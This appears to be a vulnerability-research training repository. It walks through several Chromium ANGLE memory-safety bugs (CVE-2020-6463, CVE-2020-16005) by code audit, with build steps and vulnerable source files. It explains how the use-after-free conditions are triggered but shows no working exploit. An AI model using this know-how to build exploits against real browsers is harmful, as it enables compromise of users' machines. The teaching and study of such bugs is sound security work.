ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT); BufferStorage *&newStorage = mBufferStorages[usage]; [3] already freed if (!newStorage) { newStorage = allocateStorage(usage); } markBufferUsage(usage); // resize buffer if (newStorage->getSize() < mSize) [4] trigger uaf { ANGLE_TRY(newStorage->resize(context, mSize, true)); } } ``` In other path call `getBufferStorage` will trigger uaf, like ```c++ syncVertexBuffersAndInputLayout -> applyVertexBuffers -> getBuffer -> getBufferStorage ``` I get this call tree by this [report](https://talosintelligence.com/vulnerability_reports/TALOS-2020-1127) If you are instread of how to construct the Poc, you can get help form [this](https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=457249).
-------- ================================================ FILE: LEVEL_1/exercise_1/poc.html ================================================ POC ================================================ FILE: LEVEL_1/exercise_2/README.md ================================================ # Exercise 2 ## CVE-2020-6463 I sugget you don't search any report about it to prevents get too much info like patch. This time we do it by code audit, and download source code. ### Details > When a new texture is bound, the texture binding state is updated before > updating the active texture cache. With this ordering, it is possible to delete > the currently bound texture when the binding changes and then use-after-free it > when updating the active texture cache. > > The bug reason in angle/src/libANGLE/State.cpp ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1065186
-------- ### Set environment We download the ANGLE ```sh git clone https://chromium.googlesource.com/angle/angle ``` Then checkout the branch, we set the commit hash ```sh cd angle git reset --hard b83b0f5e9f63261d3d95a75b74ad758509d7a349 # we get it by issue page ``` ### Related code we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/e514b0cb7e6b8956ea0c93ceca01b63d5deb621d/src/libANGLE/State.cpp#1171) or offline. ```c++ void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture) { mSamplerTextures[type][mActiveSampler].set(context, texture); if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] && IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler])) { updateActiveTexture(context, mActiveSampler, texture); } mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); } ================================================================= ANGLE_INLINE void State::updateActiveTexture(const Context *context, size_t textureIndex, Texture *texture) { const Sampler *sampler = mSamplers[textureIndex].get(); mCompleteTextureBindings[textureIndex].bind(texture); if (!texture) { mActiveTexturesCache.reset(textureIndex); mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); return; } updateActiveTextureState(context, textureIndex, sampler, texture); } ``` ```cpp using TextureBindingMap = angle::PackedEnumMap; ======================================================= TextureBindingMap mSamplerTextures; ``` ```c++ void set(const ContextType *context, ObjectType *newObject) { // addRef first in case newObject == mObject and this is the last reference to it. if (newObject != nullptr) { reinterpret_cast *>(newObject)->addRef(); } // Store the old pointer in a temporary so we can set the pointer before calling release. // Otherwise the object could still be referenced when its destructor is called. ObjectType *oldObject = mObject; mObject = newObject; if (oldObject != nullptr) { reinterpret_cast *>(oldObject)->release(context); } } ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer By reading detail, we can know `the texture binding state is updated before updating the active texture cache`. ```c++ void State::setSamplerTexture(const Context *context, TextureType type, Texture *texture) { mSamplerTextures[type][mActiveSampler].set(context, texture); [1] if (mProgram && mProgram->getActiveSamplersMask()[mActiveSampler] && IsTextureCompatibleWithSampler(type, mProgram->getActiveSamplerTypes()[mActiveSampler])) { updateActiveTexture(context, mActiveSampler, texture); [2] } mDirtyBits.set(DIRTY_BIT_TEXTURE_BINDINGS); } ``` [1] means update the binding state, and [2] means update the active texture cache. What can it delete currently bound texture? ```c++ void set(const ContextType *context, ObjectType *newObject) { // addRef first in case newObject == mObject and this is the last reference to it. if (newObject != nullptr) { reinterpret_cast *>(newObject)->addRef(); } // Store the old pointer in a temporary so we can set the pointer before calling release. // Otherwise the object could still be referenced when its destructor is called. ObjectType *oldObject = mObject; mObject = newObject; if (oldObject != nullptr) { reinterpret_cast *>(oldObject)->release(context); [3] } } ``` There is release in set func, and the Triggering condition is `oldObject != nullptr` we can easily get this by set same `texture` twice. If we call `State::setSamplerTexture` twice with same `texture`, it can trigger uaf at `updateActiveTexture` in the second call.
-------- ================================================ FILE: LEVEL_1/exercise_2/VertexArray11.cpp ================================================ // // Copyright 2016 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // VertexArray11: // Implementation of rx::VertexArray11. // #include "libANGLE/renderer/d3d/d3d11/VertexArray11.h" #include "common/bitset_utils.h" #include "libANGLE/Context.h" #include "libANGLE/renderer/d3d/IndexBuffer.h" #include "libANGLE/renderer/d3d/d3d11/Buffer11.h" #include "libANGLE/renderer/d3d/d3d11/Context11.h" using namespace angle; namespace rx { VertexArray11::VertexArray11(const gl::VertexArrayState &data) : VertexArrayImpl(data), mAttributeStorageTypes(data.getMaxAttribs(), VertexStorageType::CURRENT_VALUE), mTranslatedAttribs(data.getMaxAttribs()), mAppliedNumViewsToDivisor(1), mCurrentElementArrayStorage(IndexStorageType::Invalid), mCachedDestinationIndexType(gl::DrawElementsType::InvalidEnum) {} VertexArray11::~VertexArray11() {} void VertexArray11::destroy(const gl::Context *context) {} // As VertexAttribPointer can modify both attribute and binding, we should also set other attributes // that are also using this binding dirty. #define ANGLE_VERTEX_DIRTY_ATTRIB_FUNC(INDEX) \ case gl::VertexArray::DIRTY_BIT_ATTRIB_0 + INDEX: \ if ((*attribBits)[INDEX][gl::VertexArray::DirtyAttribBitType::DIRTY_ATTRIB_POINTER]) \ { \ attributesToUpdate |= mState.getBindingToAttributesMask(INDEX); \ } \ else \ { \ attributesToUpdate.set(INDEX); \ } \ invalidateVertexBuffer = true; \ (*attribBits)[INDEX].reset(); \ break; #define ANGLE_VERTEX_DIRTY_BINDING_FUNC(INDEX) \ case gl::VertexArray::DIRTY_BIT_BINDING_0 + INDEX: \ attributesToUpdate |= mState.getBindingToAttributesMask(INDEX); \ invalidateVertexBuffer = true; \ (*bindingBits)[INDEX].reset(); \ break; #define ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC(INDEX) \ case gl::VertexArray::DIRTY_BIT_BUFFER_DATA_0 + INDEX: \ if (mAttributeStorageTypes[INDEX] == VertexStorageType::STATIC) \ { \ invalidateVertexBuffer = true; \ mAttribsToTranslate.set(INDEX); \ } \ break; angle::Result VertexArray11::syncState(const gl::Context *context, const gl::VertexArray::DirtyBits &dirtyBits, gl::VertexArray::DirtyAttribBitsArray *attribBits, gl::VertexArray::DirtyBindingBitsArray *bindingBits) { ASSERT(dirtyBits.any()); Renderer11 *renderer = GetImplAs(context)->getRenderer(); StateManager11 *stateManager = renderer->getStateManager(); // Generate a state serial. This serial is used in the program class to validate the cached // input layout, and skip recomputation in the fast path. mCurrentStateSerial = renderer->generateSerial(); bool invalidateVertexBuffer = false; gl::AttributesMask attributesToUpdate; // Make sure we trigger re-translation for static index or vertex data. for (size_t dirtyBit : dirtyBits) { switch (dirtyBit) { case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER: case gl::VertexArray::DIRTY_BIT_ELEMENT_ARRAY_BUFFER_DATA: { mLastDrawElementsType.reset(); mLastDrawElementsIndices.reset(); mLastPrimitiveRestartEnabled.reset(); mCachedIndexInfo.reset(); break; } ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_ATTRIB_FUNC) ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BINDING_FUNC) ANGLE_VERTEX_INDEX_CASES(ANGLE_VERTEX_DIRTY_BUFFER_DATA_FUNC) default: UNREACHABLE(); break; } } for (size_t attribIndex : attributesToUpdate) { updateVertexAttribStorage(context, stateManager, attribIndex); } if (invalidateVertexBuffer) { // TODO(jmadill): Individual attribute invalidation. stateManager->invalidateVertexBuffer(); } return angle::Result::Continue; } angle::Result VertexArray11::syncStateForDraw(const gl::Context *context, GLint firstVertex, GLsizei vertexOrIndexCount, gl::DrawElementsType indexTypeOrInvalid, const void *indices, GLsizei instances, GLint baseVertex, GLuint baseInstance) { Renderer11 *renderer = GetImplAs(context)->getRenderer(); StateManager11 *stateManager = renderer->getStateManager(); const gl::State &glState = context->getState(); const gl::Program *program = glState.getProgram(); ASSERT(program); const gl::ProgramExecutable &executable = program->getExecutable(); mAppliedNumViewsToDivisor = (program->usesMultiview() ? program->getNumViews() : 1); if (mAttribsToTranslate.any()) { const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask(); gl::AttributesMask activeDirtyAttribs = (mAttribsToTranslate & activeLocations); if (activeDirtyAttribs.any()) { ANGLE_TRY(updateDirtyAttribs(context, activeDirtyAttribs)); stateManager->invalidateInputLayout(); } } if (mDynamicAttribsMask.any()) { const gl::AttributesMask &activeLocations = executable.getActiveAttribLocationsMask(); gl::AttributesMask activeDynamicAttribs = (mDynamicAttribsMask & activeLocations); if (activeDynamicAttribs.any()) { ANGLE_TRY(updateDynamicAttribs(context, stateManager->getVertexDataManager(), firstVertex, vertexOrIndexCount, indexTypeOrInvalid, indices, instances, baseVertex, baseInstance, activeDynamicAttribs)); stateManager->invalidateInputLayout(); } } if (indexTypeOrInvalid != gl::DrawElementsType::InvalidEnum) { bool restartEnabled = context->getState().isPrimitiveRestartEnabled(); if (!mLastDrawElementsType.valid() || mLastDrawElementsType.value() != indexTypeOrInvalid || mLastDrawElementsIndices.value() != indices || mLastPrimitiveRestartEnabled.value() != restartEnabled) { mLastDrawElementsType = indexTypeOrInvalid; mLastDrawElementsIndices = indices; mLastPrimitiveRestartEnabled = restartEnabled; ANGLE_TRY(updateElementArrayStorage(context, vertexOrIndexCount, indexTypeOrInvalid, indices, restartEnabled)); stateManager->invalidateIndexBuffer(); } else if (mCurrentElementArrayStorage == IndexStorageType::Dynamic) { stateManager->invalidateIndexBuffer(); } } return angle::Result::Continue; } angle::Result VertexArray11::updateElementArrayStorage(const gl::Context *context, GLsizei indexCount, gl::DrawElementsType indexType, const void *indices, bool restartEnabled) { bool usePrimitiveRestartWorkaround = UsePrimitiveRestartWorkaround(restartEnabled, indexType); ANGLE_TRY(GetIndexTranslationDestType(context, indexCount, indexType, indices, usePrimitiveRestartWorkaround, &mCachedDestinationIndexType)); unsigned int offset = static_cast(reinterpret_cast(indices)); mCurrentElementArrayStorage = ClassifyIndexStorage(context->getState(), mState.getElementArrayBuffer(), indexType, mCachedDestinationIndexType, offset); return angle::Result::Continue; } void VertexArray11::updateVertexAttribStorage(const gl::Context *context, StateManager11 *stateManager, size_t attribIndex) { const gl::VertexAttribute &attrib = mState.getVertexAttribute(attribIndex); const gl::VertexBinding &binding = mState.getBindingFromAttribIndex(attribIndex); VertexStorageType newStorageType = ClassifyAttributeStorage(context, attrib, binding); // Note: having an unchanged storage type doesn't mean the attribute is clean. mAttribsToTranslate.set(attribIndex, newStorageType != VertexStorageType::DYNAMIC); if (mAttributeStorageTypes[attribIndex] == newStorageType) return; mAttributeStorageTypes[attribIndex] = newStorageType; mDynamicAttribsMask.set(attribIndex, newStorageType == VertexStorageType::DYNAMIC); if (newStorageType == VertexStorageType::CURRENT_VALUE) { stateManager->invalidateCurrentValueAttrib(attribIndex); } } bool VertexArray11::hasActiveDynamicAttrib(const gl::Context *context) { const auto &activeLocations = context->getState().getProgramExecutable()->getActiveAttribLocationsMask(); gl::AttributesMask activeDynamicAttribs = (mDynamicAttribsMask & activeLocations); return activeDynamicAttribs.any(); } angle::Result VertexArray11::updateDirtyAttribs(const gl::Context *context, const gl::AttributesMask &activeDirtyAttribs) { const auto &glState = context->getState(); const auto &attribs = mState.getVertexAttributes(); const auto &bindings = mState.getVertexBindings(); for (size_t dirtyAttribIndex : activeDirtyAttribs) { mAttribsToTranslate.reset(dirtyAttribIndex); auto *translatedAttrib = &mTranslatedAttribs[dirtyAttribIndex]; const auto ¤tValue = glState.getVertexAttribCurrentValue(dirtyAttribIndex); // Record basic attrib info translatedAttrib->attribute = &attribs[dirtyAttribIndex]; translatedAttrib->binding = &bindings[translatedAttrib->attribute->bindingIndex]; translatedAttrib->currentValueType = currentValue.Type; translatedAttrib->divisor = translatedAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor; switch (mAttributeStorageTypes[dirtyAttribIndex]) { case VertexStorageType::DIRECT: VertexDataManager::StoreDirectAttrib(context, translatedAttrib); break; case VertexStorageType::STATIC: { ANGLE_TRY(VertexDataManager::StoreStaticAttrib(context, translatedAttrib)); break; } case VertexStorageType::CURRENT_VALUE: // Current value attribs are managed by the StateManager11. break; default: UNREACHABLE(); break; } } return angle::Result::Continue; } angle::Result VertexArray11::updateDynamicAttribs(const gl::Context *context, VertexDataManager *vertexDataManager, GLint firstVertex, GLsizei vertexOrIndexCount, gl::DrawElementsType indexTypeOrInvalid, const void *indices, GLsizei instances, GLint baseVertex, GLuint baseInstance, const gl::AttributesMask &activeDynamicAttribs) { const auto &glState = context->getState(); const auto &attribs = mState.getVertexAttributes(); const auto &bindings = mState.getVertexBindings(); GLint startVertex; size_t vertexCount; ANGLE_TRY(GetVertexRangeInfo(context, firstVertex, vertexOrIndexCount, indexTypeOrInvalid, indices, baseVertex, &startVertex, &vertexCount)); for (size_t dynamicAttribIndex : activeDynamicAttribs) { auto *dynamicAttrib = &mTranslatedAttribs[dynamicAttribIndex]; const auto ¤tValue = glState.getVertexAttribCurrentValue(dynamicAttribIndex); // Record basic attrib info dynamicAttrib->attribute = &attribs[dynamicAttribIndex]; dynamicAttrib->binding = &bindings[dynamicAttrib->attribute->bindingIndex]; dynamicAttrib->currentValueType = currentValue.Type; dynamicAttrib->divisor = dynamicAttrib->binding->getDivisor() * mAppliedNumViewsToDivisor; } ANGLE_TRY(vertexDataManager->storeDynamicAttribs(context, &mTranslatedAttribs, activeDynamicAttribs, startVertex, vertexCount, instances, baseInstance)); VertexDataManager::PromoteDynamicAttribs(context, mTranslatedAttribs, activeDynamicAttribs, vertexCount); return angle::Result::Continue; } const std::vector &VertexArray11::getTranslatedAttribs() const { return mTranslatedAttribs; } void VertexArray11::markAllAttributeDivisorsForAdjustment(int numViews) { if (mAppliedNumViewsToDivisor != numViews) { mAppliedNumViewsToDivisor = numViews; mAttribsToTranslate.set(); // mDynamicAttribsMask may have already been set (updateVertexAttribStorage // We don't want to override DYNAMIC attribs as they will be handled separately. mAttribsToTranslate = mAttribsToTranslate ^ mDynamicAttribsMask; } } const TranslatedIndexData &VertexArray11::getCachedIndexInfo() const { ASSERT(mCachedIndexInfo.valid()); return mCachedIndexInfo.value(); } void VertexArray11::updateCachedIndexInfo(const TranslatedIndexData &indexInfo) { mCachedIndexInfo = indexInfo; } bool VertexArray11::isCachedIndexInfoValid() const { return mCachedIndexInfo.valid(); } gl::DrawElementsType VertexArray11::getCachedDestinationIndexType() const { return mCachedDestinationIndexType; } } // namespace rx ================================================ FILE: LEVEL_1/exercise_3/IndexDataManager.cpp ================================================ // // Copyright 2002 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // IndexDataManager.cpp: Defines the IndexDataManager, a class that // runs the Buffer translation process for index buffers. #include "libANGLE/renderer/d3d/IndexDataManager.h" #include "common/utilities.h" #include "libANGLE/Buffer.h" #include "libANGLE/Context.h" #include "libANGLE/VertexArray.h" #include "libANGLE/formatutils.h" #include "libANGLE/renderer/d3d/BufferD3D.h" #include "libANGLE/renderer/d3d/ContextD3D.h" #include "libANGLE/renderer/d3d/IndexBuffer.h" namespace rx { namespace { template void ConvertIndexArray(const void *input, gl::DrawElementsType sourceType, void *output, gl::DrawElementsType destinationType, GLsizei count, bool usePrimitiveRestartFixedIndex) { const InputT *in = static_cast(input); DestT *out = static_cast(output); if (usePrimitiveRestartFixedIndex) { InputT srcRestartIndex = static_cast(gl::GetPrimitiveRestartIndex(sourceType)); DestT destRestartIndex = static_cast(gl::GetPrimitiveRestartIndex(destinationType)); for (GLsizei i = 0; i < count; i++) { out[i] = (in[i] == srcRestartIndex ? destRestartIndex : static_cast(in[i])); } } else { for (GLsizei i = 0; i < count; i++) { out[i] = static_cast(in[i]); } } } void ConvertIndices(gl::DrawElementsType sourceType, gl::DrawElementsType destinationType, const void *input, GLsizei count, void *output, bool usePrimitiveRestartFixedIndex) { if (sourceType == destinationType) { const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType); memcpy(output, input, count * dstTypeSize); return; } if (sourceType == gl::DrawElementsType::UnsignedByte) { ASSERT(destinationType == gl::DrawElementsType::UnsignedShort); ConvertIndexArray(input, sourceType, output, destinationType, count, usePrimitiveRestartFixedIndex); } else if (sourceType == gl::DrawElementsType::UnsignedShort) { ASSERT(destinationType == gl::DrawElementsType::UnsignedInt); ConvertIndexArray(input, sourceType, output, destinationType, count, usePrimitiveRestartFixedIndex); } else UNREACHABLE(); } angle::Result StreamInIndexBuffer(const gl::Context *context, IndexBufferInterface *buffer, const void *data, unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, unsigned int *offset) { const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType); bool check = (count > (std::numeric_limits::max() >> dstTypeBytesShift)); ANGLE_CHECK(GetImplAs(context), !check, "Reserving indices exceeds the maximum buffer size.", GL_OUT_OF_MEMORY); unsigned int bufferSizeRequired = count << dstTypeBytesShift; ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType)); void *output = nullptr; ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset)); ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex); ANGLE_TRY(buffer->unmapBuffer(context)); return angle::Result::Continue; } } // anonymous namespace // IndexDataManager implementation. IndexDataManager::IndexDataManager(BufferFactoryD3D *factory) : mFactory(factory), mStreamingBufferShort(), mStreamingBufferInt() {} IndexDataManager::~IndexDataManager() {} void IndexDataManager::deinitialize() { mStreamingBufferShort.reset(); mStreamingBufferInt.reset(); } // This function translates a GL-style indices into DX-style indices, with their description // returned in translated. // GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not // possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer // (Case 2), in a format supported by DX (subcase a) then all is good. // When we have a buffer with an unsupported format (subcase b) then we need to do some translation: // we will start by falling back to streaming, and after a while will start using a static // translated copy of the index buffer. angle::Result IndexDataManager::prepareIndexData(const gl::Context *context, gl::DrawElementsType srcType, gl::DrawElementsType dstType, GLsizei count, gl::Buffer *glBuffer, const void *indices, TranslatedIndexData *translated) { GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType); GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType); GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType); BufferD3D *buffer = glBuffer ? GetImplAs(glBuffer) : nullptr; translated->indexType = dstType; translated->srcIndexData.srcBuffer = buffer; translated->srcIndexData.srcIndices = indices; translated->srcIndexData.srcIndexType = srcType; translated->srcIndexData.srcCount = count; // Context can be nullptr in perf tests. bool primitiveRestartFixedIndexEnabled = context ? context->getState().isPrimitiveRestartEnabled() : false; // Case 1: the indices are passed by pointer, which forces the streaming of index data if (glBuffer == nullptr) { translated->storage = nullptr; return streamIndexData(context, indices, count, srcType, dstType, primitiveRestartFixedIndexEnabled, translated); } // Case 2: the indices are already in a buffer unsigned int offset = static_cast(reinterpret_cast(indices)); ASSERT(srcTypeBytes * static_cast(count) + offset <= buffer->getSize()); bool offsetAligned = IsOffsetAligned(srcType, offset); // Case 2a: the buffer can be used directly if (offsetAligned && buffer->supportsDirectBinding() && dstType == srcType) { translated->storage = buffer; translated->indexBuffer = nullptr; translated->serial = buffer->getSerial(); translated->startIndex = (offset >> srcTypeShift); translated->startOffset = offset; return angle::Result::Continue; } translated->storage = nullptr; // Case 2b: use a static translated copy or fall back to streaming StaticIndexBufferInterface *staticBuffer = buffer->getStaticIndexBuffer(); bool staticBufferInitialized = staticBuffer && staticBuffer->getBufferSize() != 0; bool staticBufferUsable = staticBuffer && offsetAligned && staticBuffer->getIndexType() == dstType; if (staticBufferInitialized && !staticBufferUsable) { buffer->invalidateStaticData(context); staticBuffer = nullptr; } if (staticBuffer == nullptr || !offsetAligned) { const uint8_t *bufferData = nullptr; ANGLE_TRY(buffer->getData(context, &bufferData)); ASSERT(bufferData != nullptr); ANGLE_TRY(streamIndexData(context, bufferData + offset, count, srcType, dstType, primitiveRestartFixedIndexEnabled, translated)); buffer->promoteStaticUsage(context, count << srcTypeShift); } else { if (!staticBufferInitialized) { const uint8_t *bufferData = nullptr; ANGLE_TRY(buffer->getData(context, &bufferData)); ASSERT(bufferData != nullptr); unsigned int convertCount = static_cast(buffer->getSize()) >> srcTypeShift; ANGLE_TRY(StreamInIndexBuffer(context, staticBuffer, bufferData, convertCount, srcType, dstType, primitiveRestartFixedIndexEnabled, nullptr)); } ASSERT(offsetAligned && staticBuffer->getIndexType() == dstType); translated->indexBuffer = staticBuffer->getIndexBuffer(); translated->serial = staticBuffer->getSerial(); translated->startIndex = (offset >> srcTypeShift); translated->startOffset = (offset >> srcTypeShift) << dstTypeShift; } return angle::Result::Continue; } angle::Result IndexDataManager::streamIndexData(const gl::Context *context, const void *data, unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, TranslatedIndexData *translated) { const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType); IndexBufferInterface *indexBuffer = nullptr; ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer)); ASSERT(indexBuffer != nullptr); unsigned int offset; ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType, usePrimitiveRestartFixedIndex, &offset)); translated->indexBuffer = indexBuffer->getIndexBuffer(); translated->serial = indexBuffer->getSerial(); translated->startIndex = (offset >> dstTypeShift); translated->startOffset = offset; return angle::Result::Continue; } angle::Result IndexDataManager::getStreamingIndexBuffer(const gl::Context *context, gl::DrawElementsType destinationIndexType, IndexBufferInterface **outBuffer) { ASSERT(outBuffer); ASSERT(destinationIndexType == gl::DrawElementsType::UnsignedShort || destinationIndexType == gl::DrawElementsType::UnsignedInt); auto &streamingBuffer = (destinationIndexType == gl::DrawElementsType::UnsignedInt) ? mStreamingBufferInt : mStreamingBufferShort; if (!streamingBuffer) { StreamingBuffer newBuffer(new StreamingIndexBufferInterface(mFactory)); ANGLE_TRY(newBuffer->reserveBufferSpace(context, INITIAL_INDEX_BUFFER_SIZE, destinationIndexType)); streamingBuffer = std::move(newBuffer); } *outBuffer = streamingBuffer.get(); return angle::Result::Continue; } angle::Result GetIndexTranslationDestType(const gl::Context *context, GLsizei indexCount, gl::DrawElementsType indexType, const void *indices, bool usePrimitiveRestartWorkaround, gl::DrawElementsType *destTypeOut) { // Avoid D3D11's primitive restart index value // see http://msdn.microsoft.com/en-us/library/windows/desktop/bb205124(v=vs.85).aspx if (usePrimitiveRestartWorkaround) { // Conservatively assume we need to translate the indices for draw indirect. // This is a bit of a trick. We assume the count for an indirect draw is zero. if (indexCount == 0) { *destTypeOut = gl::DrawElementsType::UnsignedInt; return angle::Result::Continue; } gl::IndexRange indexRange; ANGLE_TRY(context->getState().getVertexArray()->getIndexRange( context, indexType, indexCount, indices, &indexRange)); if (indexRange.end == gl::GetPrimitiveRestartIndex(indexType)) { *destTypeOut = gl::DrawElementsType::UnsignedInt; return angle::Result::Continue; } } *destTypeOut = (indexType == gl::DrawElementsType::UnsignedInt) ? gl::DrawElementsType::UnsignedInt : gl::DrawElementsType::UnsignedShort; return angle::Result::Continue; } } // namespace rx ================================================ FILE: LEVEL_1/exercise_3/README.md ================================================ # Exercise 3 ## CVE-2020-16005 I sugget you don't search any report about it to prevents get too much info like patch. This time we do it by code audit ### Details > When the WebGL2RenderingContext.drawRangeElements() API is processed in the ANGLE library, IndexDataManager::prepareIndexData is called internally. In prepareIndexData, if glBuffer is a null pointer, the second argument of streamIndexData becomes indices. This value is the last parameter(offset) of the drawRangeElements, a 4-byte integer which can be arbitrarily set. ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1139398
-------- ### Set environment We download the ANGLE ```sh git clone https://chromium.googlesource.com/angle/angle ``` Then checkout the branch, we set the commit hash ```sh cd angle git reset --hard 6e1259375f2d6f579fe7430442a9657e00d15656 # we get it by issue page ``` Download depot_tools and ninja ```sh git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc # or zshrc git clone https://github.com/ninja-build/ninja.git cd ninja && ./configure.py --bootstrap && cd .. echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc ``` Sync all standalone dependencies ```sh # open new terminal to update env cd src/third_party/angle python scripts/bootstrap.py # download depot_tools in advance gclient sync ``` Generate ANGLE standalone build files and build ```sh gn gen out/Debug # download ninja in advance ninja -j 10 -k1 -C out/Debug ``` more detile in [offical](https://chromium.googlesource.com/angle/angle/+/HEAD/doc/BuildingAngleForChromiumDevelopment.md) ### Related code we can analysis the source file [online](https://chromium.googlesource.com/angle/angle/+/6e1259375f2d6f579fe7430442a9657e00d15656/src/libANGLE/renderer/d3d/IndexDataManager.cpp#135) or offline. ```c++ // This function translates a GL-style indices into DX-style indices, with their description // returned in translated. // GL can specify vertex data in immediate mode (pointer to CPU array of indices), which is not // possible in DX and requires streaming (Case 1). If the GL indices are specified with a buffer // (Case 2), in a format supported by DX (subcase a) then all is good. // When we have a buffer with an unsupported format (subcase b) then we need to do some translation: // we will start by falling back to streaming, and after a while will start using a static // translated copy of the index buffer. angle::Result IndexDataManager::prepareIndexData(const gl::Context *context, gl::DrawElementsType srcType, gl::DrawElementsType dstType, GLsizei count, gl::Buffer *glBuffer, const void *indices, TranslatedIndexData *translated) { GLuint srcTypeBytes = gl::GetDrawElementsTypeSize(srcType); GLuint srcTypeShift = gl::GetDrawElementsTypeShift(srcType); GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType); BufferD3D *buffer = glBuffer ? GetImplAs(glBuffer) : nullptr; translated->indexType = dstType; translated->srcIndexData.srcBuffer = buffer; translated->srcIndexData.srcIndices = indices; translated->srcIndexData.srcIndexType = srcType; translated->srcIndexData.srcCount = count; // Context can be nullptr in perf tests. bool primitiveRestartFixedIndexEnabled = context ? context->getState().isPrimitiveRestartEnabled() : false; // Case 1: the indices are passed by pointer, which forces the streaming of index data if (glBuffer == nullptr) { translated->storage = nullptr; return streamIndexData(context, indices, count, srcType, dstType, //call streamIndexData primitiveRestartFixedIndexEnabled, translated); } // Case 2: the indices are already in a buffer unsigned int offset = static_cast(reinterpret_cast(indices)); ASSERT(srcTypeBytes * static_cast(count) + offset <= buffer->getSize()); bool offsetAligned = IsOffsetAligned(srcType, offset); [ ... ] ============================================================================== angle::Result IndexDataManager::streamIndexData(const gl::Context *context, const void *data, unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, TranslatedIndexData *translated) { const GLuint dstTypeShift = gl::GetDrawElementsTypeShift(dstType); IndexBufferInterface *indexBuffer = nullptr; ANGLE_TRY(getStreamingIndexBuffer(context, dstType, &indexBuffer)); ASSERT(indexBuffer != nullptr); unsigned int offset; ANGLE_TRY(StreamInIndexBuffer(context, indexBuffer, data, count, srcType, dstType, // call StreamInIndexBuffer usePrimitiveRestartFixedIndex, &offset)); translated->indexBuffer = indexBuffer->getIndexBuffer(); translated->serial = indexBuffer->getSerial(); translated->startIndex = (offset >> dstTypeShift); translated->startOffset = offset; return angle::Result::Continue; } =================================================================================== angle::Result StreamInIndexBuffer(const gl::Context *context, IndexBufferInterface *buffer, const void *data, unsigned int count, gl::DrawElementsType srcType, gl::DrawElementsType dstType, bool usePrimitiveRestartFixedIndex, unsigned int *offset) { const GLuint dstTypeBytesShift = gl::GetDrawElementsTypeShift(dstType); bool check = (count > (std::numeric_limits::max() >> dstTypeBytesShift)); ANGLE_CHECK(GetImplAs(context), !check, "Reserving indices exceeds the maximum buffer size.", GL_OUT_OF_MEMORY); unsigned int bufferSizeRequired = count << dstTypeBytesShift; ANGLE_TRY(buffer->reserveBufferSpace(context, bufferSizeRequired, dstType)); void *output = nullptr; ANGLE_TRY(buffer->mapBuffer(context, bufferSizeRequired, &output, offset)); ConvertIndices(srcType, dstType, data, count, output, usePrimitiveRestartFixedIndex); // call ANGLE_TRY(buffer->unmapBuffer(context)); return angle::Result::Continue; } ============================================================================================ void ConvertIndices(gl::DrawElementsType sourceType, gl::DrawElementsType destinationType, const void *input, GLsizei count, void *output, bool usePrimitiveRestartFixedIndex) { if (sourceType == destinationType) { const GLuint dstTypeSize = gl::GetDrawElementsTypeSize(destinationType); memcpy(output, input, count * dstTypeSize); return; } if (sourceType == gl::DrawElementsType::UnsignedByte) { ASSERT(destinationType == gl::DrawElementsType::UnsignedShort); ConvertIndexArray(input, sourceType, output, destinationType, count, usePrimitiveRestartFixedIndex); } else if (sourceType == gl::DrawElementsType::UnsignedShort) { ASSERT(destinationType == gl::DrawElementsType::UnsignedInt); ConvertIndexArray(input, sourceType, output, destinationType, count, usePrimitiveRestartFixedIndex); } else UNREACHABLE(); } ``` ```c++ angle::Result drawRangeElements(const gl::Context *context, gl::PrimitiveMode mode, GLuint start, GLuint end, GLsizei count, gl::DrawElementsType type, const void *indices) override; ``` ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
